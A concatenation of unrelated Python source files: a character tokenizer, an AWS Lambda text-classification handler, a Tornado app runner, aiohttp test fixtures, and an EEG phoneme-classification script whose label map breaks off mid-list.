#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import argparse WHITESPACE = '<s>' def main(): args = parse_args() for line in sys.stdin: text = line.strip().decode('utf-8').upper() toks = args.separator.join( [WHITESPACE if c == ' ' else c.encode('utf-8') for c in text]) sys.stdout.write(toks + '\n') def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-s", "--separator", default=' ') return parser.parse_args() if __name__ == "__main__": main()
20,191
aa7b2a665d45bfaca9bc379ecc65579ad13730e8
''' This is needed so that the script running on AWS will pick up the pre-compiled dependencies from the vendored folder ''' import sys sys.path.insert(0, './text-classification') import logging logger = logging.getLogger() if logger.handlers: for handler in logger.handlers: logger.removeHandler(handler) logging.basicConfig(level=logging.INFO) from magpie_model import MagpieModel import numpy as np import utils import os # ''' # Declare global objects living across requests # ''' model_dir = utils.create_model_dir() utils.download_model_from_bucket(model_dir) #currentdir = os.path.join(os.getcwd()) # uncomment this for simulating local lambda invoke #model_dir = currentdir+ '/model' # uncomment this for simulating local lambda invoke magpie_model = MagpieModel(model_dir) def predict(event,context): logger.info('Event : {}'.format(event)) logger.info('Event text : {}'.format(event['text'])) text = event['text'] predicted_text = magpie_model.predict_from_text(text) logger.info('Predicted text : {}'.format(predicted_text)) return { "result": np.array(predicted_text).tolist() } if __name__ == "__main__": predict('', '')
20,192
0333ed68106f4b0c5cb97f047ba38b07e408088f
import tornado import importlib from motorengine.connection import connect from {{ cookiecutter.app }} import routes def run(settings_module): """ Run the app using specified settings """ settings = importlib.import_module(settings_module) app = tornado.web.Application(routes.urls, **settings.TORNADO) app.listen(settings.TORNADO['port'], '127.0.0.1') io_loop = tornado.ioloop.IOLoop.instance() connect(settings.MONGO['name'], io_loop=io_loop, **settings.MONGO['options']) io_loop.start()
20,193
5a5c22d9731fd8243bc7421488ffb50263e64b2c
from __future__ import annotations from textwrap import dedent from types import ModuleType from typing import Callable from aiohttp.test_utils import TestClient from aiohttp.web import Application from pytest import fixture from sqlitemap import Connection from my_iot import templates from my_iot.constants import DATABASE_OPTIONS from my_iot.imp_ import create_module from my_iot.web import Context, routes pytest_plugins = 'aiohttp.pytest_plugin' @fixture async def db() -> Connection: return Connection(':memory:', **DATABASE_OPTIONS) @fixture async def automation() -> ModuleType: return create_module(name='test_automation', source=dedent('''\ USERS = [ ('test', '$pbkdf2-sha256$29000$tPaeE.Kck5Ly/n/vnXOuFQ$2C/q3Fk/5MoX149flqyXow0CY/UCSt31Ga4xIZAWeEg'), ] ''')) @fixture async def client(aiohttp_client: Callable[..., TestClient], automation: ModuleType, db: Connection) -> TestClient: app = Application() # noinspection PyTypeChecker app['context'] = Context(automation=automation, db=db) app.add_routes(routes) templates.setup(app) yield await aiohttp_client(app) await app['context'].close()
20,194
864945f95f38c3600a421e812b035ca2fe958345
import os os.environ["CUDA_VISIBLE_DEVICES"]="0" import numpy as np import tensorflow as tf from sklearn.utils.class_weight import compute_class_weight import matplotlib matplotlib.use('TkAgg') import matplotlib.pyplot as plt from display_utils import DynamicConsoleTable import math import time import os.path import data abs_path = os.path.abspath(os.path.dirname(__file__)) def normalize_kernel(kernel, subtract_mean=False): if subtract_mean: kernel = np.array(kernel, np.float32) - np.mean(kernel) return np.array(kernel, np.float32) / np.sum(np.abs(kernel)) def ricker_function(t, sigma): return 2./(np.sqrt(3*sigma)*np.pi**0.25)*(1.-(float(t)/sigma)**2)*np.exp(-(float(t)**2)/(2*sigma**2)) def ricker_wavelet(n, sigma): return np.array(map(lambda x: ricker_function(x, sigma), range(-n//2, n//2+1))) def transform_data(sequence_groups, sample_rate=250): #### Apply DC offset and drift correction drift_low_freq = 0.5 #0.5 sequence_groups = data.transform.subtract_initial(sequence_groups) sequence_groups = data.transform.highpass_filter(sequence_groups, drift_low_freq, sample_rate) sequence_groups = data.transform.subtract_mean(sequence_groups) #### Apply notch filters at multiples of notch_freq notch_freq = 60 num_times = 3 #pretty much just the filter order freqs = map(int, map(round, np.arange(1, sample_rate/(2. * notch_freq)) * notch_freq)) for _ in range(num_times): for f in reversed(freqs): sequence_groups = data.transform.notch_filter(sequence_groups, f, sample_rate) #### Apply standard deviation normalization #sequence_groups = data.transform.normalize_std(sequence_groups) #### Apply ricker wavelet subtraction ricker_width = 35 * sample_rate // 250 ricker_sigma = 4.0 * sample_rate / 250 ricker_kernel = normalize_kernel(ricker_wavelet(ricker_width, ricker_sigma)) ricker_convolved = data.transform.correlate(sequence_groups, ricker_kernel) ricker_subtraction_multiplier = 2.0 sequence_groups = sequence_groups - ricker_subtraction_multiplier * ricker_convolved #### Apply sine wavelet kernel #period = int(sample_rate) #sin_kernel = normalize_kernel(np.sin(np.arange(period)/float(period) * 1*np.pi), subtract_mean=True) #sequence_groups = data.transform.correlate(sequence_groups, sin_kernel) low_freq = 0.5 #0.5 high_freq = 8 #8 order = 1 #### Apply soft bandpassing sequence_groups = data.transform.bandpass_filter(sequence_groups, low_freq, high_freq, sample_rate, order=order) #### Apply hard bandpassing #sequence_groups = data.transform.fft(sequence_groups) #sequence_groups = data.transform.fft_frequency_cutoff(sequence_groups, low_freq, high_freq, sample_rate) #sequence_groups = np.real(data.transform.ifft(sequence_groups)) # return sequence_groups #length = 3000 #3000 #600 #2800 channels = range(0, 8) surrounding = 250 #250 labels = list(range(100, 400)) train_1 = data.process_scrambled(labels, ['phoneme400_train1.txt'], channels=channels, sample_rate=250, surrounding=surrounding, exclude=set([]), num_classes=400) labels = list(range(0, 100)) test_1 = data.process_scrambled(labels, ['phoneme400_test1.txt'], channels=channels, sample_rate=250, surrounding=surrounding, exclude=set([]), num_classes=400) labels = list(range(100, 400)) train_2 = data.process_scrambled(labels, ['phoneme400_train2.txt'], channels=channels, sample_rate=250, surrounding=surrounding, exclude=set([]), num_classes=400) labels = list(range(0, 100)) test_2 = data.process_scrambled(labels, ['phoneme400_test2.txt'], channels=channels, sample_rate=250, surrounding=surrounding, exclude=set([]), num_classes=400) training_sequence_groups = data.combine([train_1, train_2]) validation_sequence_groups = data.combine([test_1, test_2]) print len(training_sequence_groups) print map(len, training_sequence_groups) lens = map(len, data.get_inputs(training_sequence_groups)[0]) print min(lens), np.mean(lens), max(lens) print len(validation_sequence_groups) print map(len, validation_sequence_groups) lens = map(len, data.get_inputs(validation_sequence_groups)[0]) print min(lens), np.mean(lens), max(lens) # Format into sequences and labels train_sequences, train_labels = data.get_inputs(training_sequence_groups) val_sequences, val_labels = data.get_inputs(validation_sequence_groups) train_sequences = transform_data(train_sequences) val_sequences = transform_data(val_sequences) # Calculate sample weights #class_weights = compute_class_weight('balanced', np.unique(train_labels), train_labels) #train_weights = class_weights[list(train_labels)] train_weights = np.ones(len(train_labels)) #train_labels = tf.keras.utils.to_categorical(train_labels) #val_labels = tf.keras.utils.to_categorical(val_labels) words = np.array(['aa', 'iy', 'ch', 'ae', 'eh', 'ah', 'ao', 'ih', 'ey', 'aw', 'ay', 'zh', 'er', 'ng', 'sh', 'th', 'uh', 'w', 'dh', 'y', 'hh', 'jh', 'b', 'd', 'g', 'f', 'k', 'm', 'l', 'n', 'p', 's', 'r', 't', 'oy', 'v', 'ow', 'z', 'uw']) label_map = [[18, 5, 26, 9, 22, 34, 26, 6, 28, 23, 18, 7, 31, 22, 32, 1, 23, 5, 35, 26, 3, 33, 5, 28, 27, 3, 24, 30, 10, 37], [18, 5, 4, 29, 5, 27, 1, 23, 7, 23, 29, 0, 33, 35, 7, 32], [20, 7, 37, 22, 0, 23, 1, 30, 7, 2, 33, 22, 3, 26, 5, 29, 23, 25, 6, 32, 15, 0, 29, 18, 5, 22, 4, 29, 2], [22, 5, 33, 7, 33, 23, 7, 23, 30, 32, 7, 29, 33, 24, 16, 23, 35, 12, 31, 5, 29, 23, 24, 16, 23, 25, 7, 26, 14, 5, 29], [7, 33, 7, 37, 5, 20, 3, 30, 1, 22, 5, 37, 7, 13, 26, 32, 9, 23], [18, 5, 27, 3, 31, 33, 12, 37, 20, 3, 29, 23, 20, 3, 37, 28, 6, 31, 33, 29, 5, 29, 5, 35, 7, 33, 31, 26, 32, 3, 25, 33], [29, 6, 32, 17, 12, 20, 7, 37, 27, 3, 29, 12, 37, 22, 0, 32, 22, 3, 32, 7, 26], [20, 1, 17, 0, 37, 29, 1, 28, 7, 13, 33, 38, 33, 10, 20, 7, 37, 14, 38, 28, 8, 31, 5, 37], [29, 9, 20, 4, 28, 2, 36, 26, 25, 6, 32, 14, 16, 32], [31, 30, 28, 4, 29, 23, 12, 22, 10, 31, 6, 32, 31, 12, 1, 7, 33, 31, 5, 20, 6, 32, 12], [15, 1, 0, 26, 32, 5, 31, 1, 32, 1, 26, 5, 29, 31, 7, 23, 12, 23], [17, 7, 18, 18, 7, 31, 29, 36, 28, 34, 5, 28, 31, 7, 33, 5, 37, 5, 29, 26, 3, 29, 26, 17, 6, 32, 5, 28], [7, 33, 27, 36, 33, 5, 35, 8, 33, 31, 20, 7, 37, 22, 7, 20, 8, 35, 19, 12], [22, 5, 33, 17, 1, 26, 3, 29, 0, 33, 31, 33, 0, 32, 33, 6, 25, 17, 7, 18, 5, 26, 28, 1, 29, 31, 28, 8, 33], [30, 28, 8, 31, 17, 12, 26, 0, 29, 5, 25, 28, 3, 33, 31, 12, 25, 5, 31, 5, 29, 23, 31, 27, 38, 18, 9, 33], [17, 10, 14, 16, 23, 18, 7, 31, 31, 5, 23, 5, 29, 28, 1, 5, 31, 8, 28, 20, 12], [17, 7, 18, 5, 17, 12, 28, 7, 13, 21, 5, 27, 30, 7, 33, 26, 16, 23, 24, 4, 33, 7, 29, 33, 38, 24, 7, 32], [28, 4, 33, 31, 33, 8, 26, 4, 27, 20, 36, 27], [20, 1, 14, 32, 5, 24, 23, 26, 3, 11, 5, 17, 5, 28, 1], [18, 4, 29, 6, 25, 5, 24, 4, 29, 32, 5, 14, 7, 13, 33, 38, 26, 1, 30, 5, 30], [19, 38, 14, 3, 28, 31, 1, 20, 12, 3, 33, 23, 7, 29, 12], [3, 37, 14, 1, 23, 32, 36, 35, 14, 1, 15, 6, 33, 5, 22, 9, 33, 20, 12, 30, 28, 3, 29], [21, 36, 26, 7, 13, 31, 33, 0, 30, 33, 5, 29, 23, 4, 35, 32, 1, 17, 5, 29, 24, 3, 18, 12, 23, 12, 9, 29, 23], [20, 1, 12, 29, 5, 31, 33, 28, 1, 12, 21, 23, 5, 31, 1, 31, 25, 10, 12], [18, 8, 17, 12, 6, 28, 24, 16, 23, 27, 4, 29], [21, 5, 31, 33, 28, 4, 33, 27, 1, 23, 10, 7, 29, 30, 1, 31], [18, 8, 20, 3, 23, 26, 5, 27, 29, 0, 33, 33, 38, 3, 23, 27, 10, 32, 22, 5, 33, 33, 38, 5, 22, 37, 12, 35], [18, 5, 28, 1, 24, 37, 0, 32, 25, 16, 28, 5, 35, 24, 10, 37, 28, 10, 26, 18, 3, 33], [31, 8, 20, 1, 7, 37, 5, 20, 6, 32, 31, 15, 1, 25, 32, 5, 29, 37, 3, 29, 36, 28, 23, 3, 23, 5, 21], [33, 8, 26, 19, 6, 32, 26, 0, 22, 28, 12, 37, 14, 0, 30, 31, 5, 27, 17, 4, 32, 4, 28, 31], [29, 4, 35, 12, 18, 5, 28, 4, 31, 7, 33, 31, 33, 32, 38], [20, 1, 22, 32, 6, 33, 20, 12, 14, 6, 28, 37], [5, 33, 0, 27, 7, 26, 4, 29, 12, 21, 1, 28, 4, 35, 5, 28, 37], [25, 10, 29, 23, 8, 3, 25, 33, 12, 33, 5, 27, 0, 32, 36, 14, 1, 3, 23, 5, 23], [28, 16, 26, 31, 5, 27, 17, 4, 32, 4, 28, 31], [27, 8, 26, 7, 33, 26, 5, 27, 6, 25, 6, 28, 32, 10, 33], [26, 16, 23, 7, 33, 23, 38, 5, 18, 12, 17, 10, 37], [31, 36, 5, 35, 26, 6, 32, 31, 20, 1, 31, 33, 8, 23, 30, 16, 33], [18, 5, 24, 5, 33, 12, 5, 28, 28, 3, 13, 24, 17, 5, 21, 25, 32, 5, 27, 18, 5, 24, 4, 33, 36, 31, 33, 0, 30, 33], [20, 1, 27, 8, 24, 4, 33, 5, 33, 3, 26, 31, 32, 7, 25, 5, 29, 23], [25, 19, 38, 27, 7, 13, 20, 4, 28, 30, 28, 5, 31, 20, 1, 17, 0, 2, 33, 18, 4, 27, 30, 3, 31, 20, 7, 27], [20, 12, 26, 0, 25, 31, 9, 29, 23, 5, 23, 28, 10, 26, 26, 28, 6, 15, 32, 7, 30, 7, 13], [18, 7, 31, 7, 37, 9, 12, 31, 7, 13, 24, 19, 5, 28, 12, 24, 36, 28], [20, 38, 33, 36, 28, 23, 19, 38, 33, 38, 23, 38, 7, 33], [31, 5, 30, 36, 37, 19, 38, 33, 4, 28, 27, 1, 18, 5, 32, 1, 28, 32, 1, 37, 5, 29, 20, 1, 23, 32, 6, 28, 23], [17, 5, 33, 31, 19, 6, 32, 29, 8, 27, 4, 29, 1, 17, 8], [17, 1, 20, 3, 35, 22, 4, 33, 12, 32, 38, 27, 37, 35, 8, 26, 5, 29, 33, 29, 9, 20, 1, 22, 3, 22, 5, 28, 23], [5, 15, 12, 23, 35, 0, 28, 19, 38, 27, 32, 7, 27, 8, 29, 37, 33, 38, 22, 1, 30, 5, 22, 28, 7, 14, 33], [0, 29, 18, 5, 22, 4, 32, 25, 28, 6, 32, 22, 6, 32, 23, 37, 5, 27, 3, 29, 28, 8, 25, 8, 31, 23, 9, 29], [5, 22, 8, 5, 29, 4, 33, 20, 5, 13, 7, 29, 5, 22, 4, 28, 33, 31, 26, 3, 22, 12, 23], [29, 0, 33, 17, 4, 29, 10, 17, 0, 37, 5, 26, 7, 23], [27, 8, 10, 24, 4, 33, 31, 5, 27, 27, 6, 32, 26, 16, 26, 1, 37, 29, 6, 32, 5], [19, 38, 24, 0, 29, 5, 24, 7, 35, 27, 1, 5, 23, 32, 7, 13, 26, 25, 4, 28, 5], [20, 5, 29, 1, 20, 1, 17, 7, 31, 30, 12, 23], [18, 5, 24, 12, 7, 28, 5, 22, 7, 35, 17, 3, 26, 32, 7, 27, 8, 29, 23, 31, 10, 28, 5, 29, 33], [18, 4, 29, 20, 1, 15, 6, 33, 27, 1, 27, 6, 32, 30, 12, 35, 12, 31, 18, 3, 29, 4, 35, 12], [2, 8, 29, 21, 7, 29, 35, 0, 28, 35, 37, 18, 5, 23, 7, 31, 30, 28, 8, 31, 27, 5, 29, 33, 5, 35, 25, 6, 32, 27], [25, 12, 24, 4, 33, 17, 1, 4, 35, 12, 29, 38, 17, 5, 33], [25, 7, 23, 5, 28, 37, 31, 26, 32, 1, 2, 33, 5, 30, 1, 3, 29, 36, 33, 7, 13, 26, 5, 28, 23], [29, 36, 18, 8, 26, 16, 23, 26, 7, 28, 20, 7, 27, 21, 5, 31, 33, 3, 37, 1, 37, 1, 32, 10, 33, 29, 9], [7, 33, 20, 3, 23, 24, 6, 29, 28, 10, 26, 26, 28, 0, 26, 17, 12, 26], [29, 8, 27, 23, 3, 25, 33, 12, 18, 5, 22, 3, 28, 8], [18, 4, 29, 20, 1, 20, 12, 23, 18, 5, 9, 33, 12, 23, 6, 32, 26, 28, 36, 37, 7, 13], [18, 8, 20, 3, 23, 2, 36, 37, 5, 29, 18, 7, 31, 29, 10, 33, 30, 12, 30, 5, 31, 28, 1], [18, 5, 31, 12, 21, 5, 29, 26, 3, 32, 1, 23, 5, 26, 8, 21, 5, 35, 28, 10, 35, 30, 7, 21, 5, 29, 37], [22, 5, 33, 29, 9, 14, 1, 31, 3, 13, 26, 28, 36, 12, 33, 38, 18, 5, 32, 0, 26], [18, 8, 31, 1, 27, 23, 0, 32, 29, 23, 30, 32, 9, 23, 5, 35, 7, 33], [18, 4, 32, 17, 12, 29, 36, 33, 32, 3, 26, 31, 5, 35, 1, 18, 12, 20, 16, 25, 31, 6, 32, 22, 38, 33, 31], [20, 12, 28, 7, 30, 31, 27, 34, 31, 33, 5, 29, 23, 30, 0, 32, 33, 5, 23, 31, 30, 36, 26, 20, 7, 37, 29, 8, 27], [20, 36, 27, 27, 8, 23, 31, 9, 12, 26, 32, 9, 33, 7, 37, 31, 12, 35, 23, 17, 5, 29, 31, 5, 17, 1, 26], [20, 1, 2, 5, 26, 5, 28, 23, 18, 5, 27, 4, 27, 12, 1, 35, 7, 35, 5, 23], [19, 4, 31, 19, 4, 31, 17, 4, 28, 28, 4, 33, 19, 38, 29, 36], [33, 32, 7, 27, 4, 26, 31, 4, 31, 26, 28, 8, 5, 17, 8, 25, 32, 5, 27, 9, 33, 12, 4, 21, 5, 37], [31, 12, 35, 7, 29, 25, 32, 3, 13, 26, 25, 12, 33, 12, 22, 5, 29, 37, 6, 32, 3, 37, 5, 27, 1, 33, 23, 7, 14], [18, 8, 17, 12, 6, 28, 25, 8, 23, 5, 23], [18, 4, 29, 3, 25, 33, 12, 5, 17, 10, 28, 14, 1, 17, 4, 29, 33, 33, 38, 20, 12, 27, 7, 32, 12], [17, 1, 15, 7, 13, 26, 23, 7, 25, 32, 5, 29, 33, 28, 1], [29, 9, 20, 1, 32, 7, 37, 33, 32, 38, 28, 1, 5, 27, 0, 32, 35, 5, 28], [20, 7, 37, 10, 37, 22, 12, 29, 23, 25, 4, 35, 12, 7, 14, 28, 1], [18, 4, 32, 17, 0, 37, 33, 10, 25, 34, 23, 5, 29, 23, 27, 5, 28, 4, 32, 1, 5], [27, 7, 28, 26, 5, 30, 7, 32, 37, 33, 17, 10, 31, 5, 23, 8], [20, 4, 28, 14, 38, 33, 5, 30, 18, 5, 33, 9, 29], [20, 1, 32, 18, 8, 23, 7, 23, 29, 0, 33, 29, 1, 23, 33, 38, 22, 1, 7, 29, 24, 4, 33, 36, 37], [3, 37, 17, 1, 8, 33, 17, 1, 33, 6, 26, 33], [18, 8, 23, 7, 31, 30, 10, 37, 23, 25, 6, 32, 5, 29, 12, 37], [20, 1, 27, 8, 33, 32, 10, 33, 38, 25, 36, 29, 5, 31], [7, 33, 17, 0, 37, 31, 7, 26, 19, 16, 32, 23, 22, 10, 3, 29, 36, 35, 12, 31, 10, 37, 23, 30, 3, 23, 28, 0, 26], [18, 5, 10, 7, 37, 6, 28, 7, 29, 17, 12, 23, 6, 32, 9, 33, 17, 12, 23], [0, 32, 19, 38, 5, 29, 23, 12, 32, 10, 33, 7, 13, 7, 26, 31, 30, 4, 29, 31, 7, 35, 33, 1, 27, 33, 32, 7, 30, 31], [27, 4, 28, 5, 29, 26, 0, 28, 1, 5, 22, 31, 4, 14, 5, 29], [18, 7, 31, 27, 1, 29, 37, 1, 18, 12, 26, 0, 32, 37, 6, 32, 33, 32, 5, 26, 31], [18, 4, 29, 18, 5, 26, 6, 32, 1, 0, 24, 32, 5, 25, 12, 27, 5, 31, 33, 0, 32, 22, 5, 33, 32, 8, 33], [27, 8, 10, 24, 36, 5, 29, 23, 24, 4, 33, 26, 5, 31, 3, 29, 23, 32, 5, 27, 0, 27, 5], [17, 7, 18, 20, 7, 37, 26, 28, 5, 22, 25, 16, 33, 20, 1, 27, 10, 33, 17, 4, 28, 22, 1, 24, 32, 8, 33, 25, 5, 28], [25, 7, 28, 31, 27, 6, 28, 20, 36, 28, 7, 29, 22, 36, 28, 17, 7, 18, 26, 28, 8], [7, 29, 5, 17, 1, 26, 18, 5, 20, 10, 5, 31, 7, 29, 15, 31, 17, 16, 23, 31, 30, 10, 26, 9, 33], [17, 12, 19, 38, 0, 29, 23, 38, 33, 1, 20, 1, 32, 33, 38, 17, 1, 26, 31, 5, 24, 36], [20, 9, 19, 0, 24, 0, 29, 5, 26, 1, 30, 4, 27, 23, 9, 29, 0, 29, 18, 5, 25, 0, 32, 27], [31, 33, 8, 32, 10, 33, 20, 1, 32, 17, 4, 32, 19, 38, 0, 32, 26, 7, 23, 20, 1, 26, 6, 28, 23], [27, 8, 22, 1, 18, 8, 6, 28, 32, 4, 23, 1, 24, 0, 33, 18, 4, 27], [31, 36, 17, 5, 33, 31, 18, 7, 31, 6, 28, 5, 22, 9, 33], [25, 38, 28, 37, 20, 1, 22, 8, 23, 17, 5, 33, 23, 38, 19, 38, 15, 7, 13, 26, 19, 38, 0, 32, 23, 38, 7, 13], [27, 8, 22, 1, 33, 17, 4, 29, 33, 1, 15, 12, 23, 1, 25, 7, 25, 33, 1], [17, 12, 24, 36, 7, 13, 31, 5, 27, 30, 28, 8, 31], [5, 15, 12, 23, 14, 0, 33, 23, 9, 31, 33, 18, 5, 28, 10, 33], [20, 7, 37, 31, 17, 1, 33, 17, 7, 31, 30, 12, 26, 8, 27, 3, 25, 33, 12, 24, 32, 8, 33, 4, 25, 12, 33], [10, 31, 6, 19, 6, 32, 20, 6, 32, 31, 9, 33, 31, 10, 23], [23, 38, 19, 38, 6, 28, 17, 8, 37, 29, 3, 35, 5, 24, 8, 33, 28, 10, 26, 18, 7, 31], [20, 1, 24, 8, 37, 23, 5, 17, 8, 25, 32, 5, 27, 5, 31, 3, 37, 17, 1, 5, 30, 32, 36, 2, 33], [28, 4, 33, 31, 20, 36, 30, 17, 1, 26, 5, 27, 33, 38, 5, 31, 8, 25, 12, 30, 28, 8, 31], [20, 9, 23, 38, 18, 8, 33, 12, 29, 9, 33, 28, 8, 33, 12], [20, 7, 37, 33, 4, 26, 29, 1, 26, 7, 37, 21, 4, 29, 19, 5, 17, 5, 29, 28, 1, 27, 3, 31, 33, 12, 25, 5, 28], [18, 5, 27, 3, 29, 37, 10, 28, 7, 23, 37, 25, 28, 5, 33, 12, 23], [18, 8, 6, 25, 5, 29, 15, 32, 38, 33, 7, 23, 22, 7, 33, 31, 36, 35, 12, 22, 6, 32, 23], [17, 12, 19, 38, 7, 29, 28, 5, 35, 17, 7, 18, 18, 3, 33, 24, 12, 28], [20, 1, 31, 26, 9, 28, 23, 3, 33, 20, 12, 25, 28, 9, 12, 37], [15, 32, 4, 23, 27, 3, 2, 7, 13, 19, 0, 32, 29, 7, 29, 33, 3, 30, 5, 31, 33, 32, 1, 29, 1, 23, 5, 28], [20, 1, 20, 38, 23, 5, 37, 29, 0, 33, 28, 5, 35, 5, 22, 10, 23, 37, 7, 29, 23, 4, 15], [20, 1, 25, 4, 28, 33, 5, 24, 16, 23, 23, 1, 28, 28, 4, 31, 14, 8, 26, 1], [23, 32, 5, 24, 37, 26, 4, 27, 5, 26, 5, 28, 29, 8, 27, 30, 32, 36, 26, 8, 29, 30, 4, 29, 5, 31, 7, 28, 5, 29], [30, 3, 29, 37, 1, 37, 0, 32, 24, 28, 5, 33, 5, 29, 37], [28, 8, 33, 12, 19, 38, 14, 3, 28, 29, 36, 7, 33, 22, 4, 33, 12], [29, 36, 30, 32, 10, 31, 7, 37, 33, 38, 20, 10, 17, 4, 29, 33, 32, 38, 28, 5, 35, 7, 37, 3, 33, 31, 33, 8, 26], [33, 6, 31, 5, 23, 10, 5, 29, 33, 7, 28, 3, 29, 8, 31, 5, 30, 7, 32, 37], [5, 26, 32, 38, 23, 28, 3, 23, 12, 32, 3, 29, 23, 9, 29, 33, 38, 5, 17, 16, 23, 5, 29, 25, 28, 6, 32], [27, 1, 20, 1, 31, 4, 23, 27, 4, 32, 5, 28, 1], [29, 9, 25, 12, 24, 4, 33, 6, 28, 18, 7, 31, 5, 18, 12], [20, 38, 17, 16, 23, 33, 8, 26, 36, 35, 12], [18, 5, 31, 0, 25, 33, 31, 29, 36, 17, 0, 37, 23, 5, 31, 1, 33, 25, 5, 28, 5, 29, 23, 12, 25, 16, 33], [18, 1, 37, 6, 28, 17, 8, 37, 26, 5, 29, 33, 8, 29, 27, 5, 33, 3, 28, 7, 26, 7, 29, 26, 28, 38, 11, 5, 29, 37], [7, 33, 28, 16, 26, 31, 28, 10, 26, 17, 1, 23, 7, 23, 17, 4, 29, 17, 1, 27, 8, 23, 22, 28, 3, 31, 33, 23, 9, 29], [33, 38, 27, 4, 29, 1, 20, 3, 35, 22, 0, 24, 23, 23, 9, 29, 7, 29, 22, 7, 26, 12, 7, 13], [31, 5, 2, 5, 26, 0, 27, 5, 29, 23, 5, 14, 16, 32, 7, 13, 30, 1, 31, 26, 3, 29, 22, 1, 19, 16, 32, 37], [18, 8, 1, 35, 7, 29, 30, 8, 27, 1, 31, 7, 26, 31, 23, 0, 28, 12, 37, 5, 27, 5, 29, 15], [7, 27, 31, 0, 32, 1, 22, 5, 33, 10, 14, 3, 28, 20, 3, 35, 33, 38, 31, 12, 2, 18, 7, 31, 20, 9, 31], [17, 4, 28, 18, 4, 32, 0, 32, 5, 18, 12, 15, 7, 13, 37, 33, 38, 23, 38, 32, 10, 33, 29, 9], [3, 33, 20, 36, 27, 19, 4, 31, 18, 8, 0, 32, 24, 19, 38, 23], [18, 8, 17, 12, 2, 8, 31, 7, 13, 5, 32, 8, 29, 26, 28, 9, 23], [23, 1, 30, 7, 29, 5, 25, 20, 1, 23, 7, 31, 10, 23, 7, 23], [25, 6, 32, 5, 27, 36, 27, 5, 29, 33, 22, 34, 5, 29, 23, 27, 9, 29, 33, 20, 5, 13, 7, 29, 27, 7, 23, 4, 32], [5, 28, 6, 13, 28, 6, 13, 17, 8, 23, 9, 29], [20, 7, 37, 28, 7, 30, 31, 25, 4, 28, 33, 24, 28, 38, 23, 33, 5, 24, 4, 18, 12], [23, 7, 23, 4, 29, 1, 17, 5, 29, 31, 1, 27, 10, 26, 3, 22], [18, 7, 31, 7, 37, 5, 31, 28, 1, 30, 7, 13, 26, 3, 30, 31, 5, 28], [20, 1, 7, 24, 29, 6, 32, 37, 24, 10, 23, 22, 16, 26, 25, 3, 26, 33, 31], [7, 25, 19, 38, 23, 38, 24, 36, 33, 38, 7, 33], [27, 0, 32, 26, 31, 27, 5, 29, 14, 7, 30, 7, 24, 37, 3, 27, 30, 5, 28], [18, 7, 31, 26, 7, 23, 37, 25, 32, 36, 37, 22, 3, 23], [18, 5, 33, 32, 10, 5, 28, 22, 5, 28, 38, 29, 37, 0, 32, 5, 25, 28, 36, 33], [18, 5, 14, 3, 23, 36, 35, 3, 29, 7, 14, 33], [22, 28, 0, 26, 8, 23, 7, 37, 17, 5, 29, 3, 29, 31, 12, 6, 25, 12, 23, 22, 10, 4, 26, 31, 30, 12, 33, 31], [18, 8, 17, 12, 14, 3, 33, 12, 23], [18, 8, 30, 0, 28, 7, 14, 33, 18, 5, 17, 7, 29, 23, 14, 1, 28, 23], [7, 33, 17, 0, 37, 33, 10, 27, 33, 38, 24, 36, 5, 30, 27, 10, 31, 4, 28, 25], [17, 10, 0, 32, 19, 38, 33, 32, 10, 7, 13, 33, 38, 17, 12, 1, 27, 1], [18, 5, 15, 12, 23, 26, 32, 6, 28, 7, 13, 27, 3, 29, 25, 6, 32, 31, 33, 20, 7, 27, 31, 4, 28, 25, 7, 32, 4, 26, 33], [14, 1, 31, 1, 27, 23, 7, 32, 5, 33, 8, 33, 5, 23], [29, 36, 22, 0, 23, 1, 28, 10, 26, 31, 31, 29, 8, 26, 31], [31, 36, 17, 16, 23, 32, 8, 23, 0, 32, 30, 7, 26, 7, 33, 14, 7, 30, 31], [18, 8, 31, 12, 35, 26, 32, 3, 26, 33, 17, 1, 33, 36, 33, 31, 6, 32, 26, 6, 32, 29, 27, 1, 28], [31, 1, 19, 38, 7, 29, 5, 22, 9, 33, 3, 29, 9, 12], [20, 1, 22, 7, 24, 3, 29, 33, 38, 30, 3, 26, 18, 5, 31, 3, 23, 5, 28, 22, 3, 24, 37], [20, 1, 2, 4, 26, 33, 7, 29, 33, 38, 5, 27, 36, 33, 4, 28, 5, 29, 23, 23, 32, 36, 35, 23, 9, 29, 33, 9, 29], [32, 7, 37, 7, 31, 33, 5, 29, 31, 15, 12, 27, 0, 27, 5, 33, 12, 37], [31, 5, 23, 5, 29, 28, 1, 27, 10, 32, 1, 25, 28, 4, 26, 31, 5, 37, 0, 32, 24, 6, 29], [18, 5, 24, 32, 8, 33, 22, 28, 3, 26, 28, 4, 30, 12, 23, 37], [18, 36, 37, 28, 5, 35, 28, 1, 17, 12, 28, 37, 20, 1, 2, 6, 32, 33, 5, 28, 23], [5, 25, 38, 28, 7, 14, 15, 6, 33, 26, 8, 27, 7, 29, 33, 38, 20, 7, 37, 20, 4, 23], [31, 29, 8, 26, 31, 0, 32, 5, 24, 28, 1, 20, 1, 31, 4, 23, 5, 24, 4, 29], [20, 1, 27, 34, 31, 5, 29, 23, 20, 7, 37, 28, 7, 30, 31, 5, 29, 1, 37, 5, 28, 1], [33, 38, 0, 29, 12, 20, 7, 27, 7, 37, 33, 38, 0, 29, 12, 9, 12, 31, 4, 28, 35, 37], [6, 28, 15, 32, 1, 27, 5, 31, 33, 26, 5, 27, 30, 4, 32, 29, 36, 33, 31, 5, 29, 23, 5, 24, 32, 1, 33, 38, 24, 36], [14, 1, 17, 4, 29, 33, 0, 29, 23, 7, 31, 32, 7, 24, 0, 32, 23, 7, 13, 27, 10, 30, 32, 36, 33, 4, 31, 33, 31], [3, 37, 19, 38, 26, 3, 29, 26, 9, 29, 33, 0, 29, 27, 1, 33, 38, 23, 38, 18, 5, 31, 8, 27], [3, 23, 15, 7, 13, 37, 3, 37, 19, 38, 25, 10, 29, 23, 19, 38, 29, 1, 23, 4, 27], [19, 38, 26, 8, 27, 17, 4, 28, 7, 26, 17, 7, 30, 33, 33, 38, 23, 10], [5, 28, 0, 32, 21, 30, 1, 31, 5, 35, 4, 29, 21, 5, 29, 26, 9, 28, 7, 13, 35, 3, 29, 7, 14, 33], [20, 1, 29, 1, 23, 37, 9, 33, 25, 1, 28, 23, 12, 37, 22, 3, 23], [17, 4, 28, 18, 4, 29, 20, 38, 22, 32, 6, 33, 7, 33], [18, 5, 28, 10, 25, 22, 36, 33, 31, 17, 12, 31, 33, 5, 26, 25, 3, 31, 33], [17, 4, 28, 33, 6, 26, 36, 35, 